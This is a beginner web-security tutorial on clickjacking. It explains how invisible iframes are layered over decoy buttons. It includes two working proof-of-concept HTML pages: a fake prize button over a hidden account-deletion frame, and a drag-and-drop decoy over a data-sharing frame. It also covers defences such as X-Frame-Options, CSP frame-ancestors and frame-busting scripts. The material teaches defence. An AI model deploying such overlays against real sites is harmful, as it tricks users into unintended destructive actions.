JavaScript - Clickjacking Attack

Hello, aspiring programmers! Today, we're going to dive into the fascinating world of web security, specifically focusing on a sneaky little trick called Clickjacking. Don't worry if you're new to programming – I'll guide you through this topic step by step, just like I've done for countless students over my years of teaching. So, let's get started!

Clickjacking Attack

Imagine you're about to click on a cute cat video, but instead, you accidentally order 100 rubber ducks. That's essentially what a clickjacking attack does – it tricks you into clicking on something you didn't intend to.

Clickjacking, also known as UI redressing, is a malicious technique used by attackers to trick users into clicking on something different from what they perceive they are clicking on. This can lead to unintended actions, data theft, or even malware installation.

How clickjacking works?

Now, let's break down how this sneaky attack actually works:

The attacker creates a seemingly harmless webpage.
They embed a target website (the one they want you to interact with) in an invisible iframe.
The attacker's page is designed to perfectly overlay the target site's buttons or links.
When you think you're clicking on the attacker's page, you're actually interacting with the hidden target site.

It's like a magician's sleight of hand, but with web pages!

Examples

Let's look at some code examples to better understand this concept. Don't worry if you don't understand everything yet – we'll break it down!

Example 1: Basic Clickjacking

<html>
  <head>
    <title>Win a Prize!</title>
    <style>
      #target_website {
        position:relative;
        width:128px;
        height:128px;
        opacity:0.00001;
        z-index:2;
      }
      #decoy_website {
        position:absolute;
        width:300px;
        height:400px;
        z-index:1;
      }
    </style>
  </head>
  <body>
    <div id="decoy_website">
      <h1>Click here to win a prize!</h1>
      <button>Claim Prize</button>
    </div>
    <iframe id="target_website" src="https://example.com/delete-account"></iframe>
  </body>
</html>

In this example:

We create a decoy website that promises a prize.
We embed the target website (example.com/delete-account) in an invisible iframe.
The iframe is positioned over the "Claim Prize" button.
When a user clicks the button, they're actually clicking on the delete account button on the target site!

Example 2: Clickjacking with Drag and Drop

<html>
  <head>
    <title>Photo Editor</title>
    <style>
      #target_website {
        position:absolute;
        width:300px;
        height:400px;
        opacity:0.00001;
        z-index:2;
      }
      #decoy_website {
        width:300px;
        height:400px;
        z-index:1;
      }
    </style>
  </head>
  <body>
    <div id="decoy_website">
      <h1>Drag the image to edit</h1>
      <img src="cute_cat.jpg" draggable="true" ondragstart="drag(event)">
    </div>
    <iframe id="target_website" src="https://example.com/share-private-data"></iframe>
    <script>
      function drag(ev) {
        ev.dataTransfer.setData("text", ev.target.id);
      }
    </script>
  </body>
</html>

In this more advanced example:

We create a fake photo editor interface.
The target website (which might share private data) is embedded in an invisible iframe.
When the user tries to drag and drop the image, they might unknowingly interact with the target site, potentially sharing private information.

Real World Clickjacking Incidents

Clickjacking isn't just a theoretical threat. It has been used in real-world attacks:

In 2008, a clickjacking worm spread through Facebook, making users unknowingly click the "Like" button on certain pages.
In 2012, a researcher demonstrated a clickjacking attack on Google's Android app market that could trick users into purchasing apps without their knowledge.
In 2017, a clickjacking vulnerability was discovered in the Microsoft Outlook Web App, potentially allowing attackers to read victims' emails.

These incidents show why it's crucial to understand and prevent clickjacking attacks.

Preventive Measures

Now that we know the dangers, let's look at how we can protect against clickjacking:

Method	Description	Example
X-Frame-Options	HTTP header that prevents a page from being displayed in an iframe	`X-Frame-Options: DENY`
Content Security Policy	Allows more granular control over which sources can embed your content	`Content-Security-Policy: frame-ancestors 'self'`
Frame Breaking Scripts	JavaScript that breaks out of iframes	`if (top != self) top.location = self.location;`
SameSite Cookies	Prevents cookies from being sent in cross-site requests	`Set-Cookie: session=123; SameSite=Strict`

Let's look at a simple example of a frame-breaking script:

<html>
  <head>
    <style>html{display:none;}</style>
    <script>
      if (self == top) {
        document.documentElement.style.display = 'block';
      } else {
        top.location = self.location;
      }
    </script>
  </head>
  <body>
    <h1>Protected Content</h1>
    <p>This page is protected from clickjacking!</p>
  </body>
</html>

This script does the following:

Initially hides the entire page.
Checks if the page is the topmost window.
If it is, it displays the content.
If it's not (i.e., it's in an iframe), it breaks out of the iframe.

Remember, web security is like a game of cat and mouse. As new attack methods emerge, we must continually update our defenses. Stay curious, keep learning, and always prioritize security in your web development journey!

I hope this tutorial has been helpful in understanding clickjacking attacks. Remember, with great coding power comes great responsibility. Use your skills wisely, and happy coding!

Credits: Image by storyset

Previous Tutorial:

JavaScript - IndexedDB

Next Tutorial:

JavaScript - Currying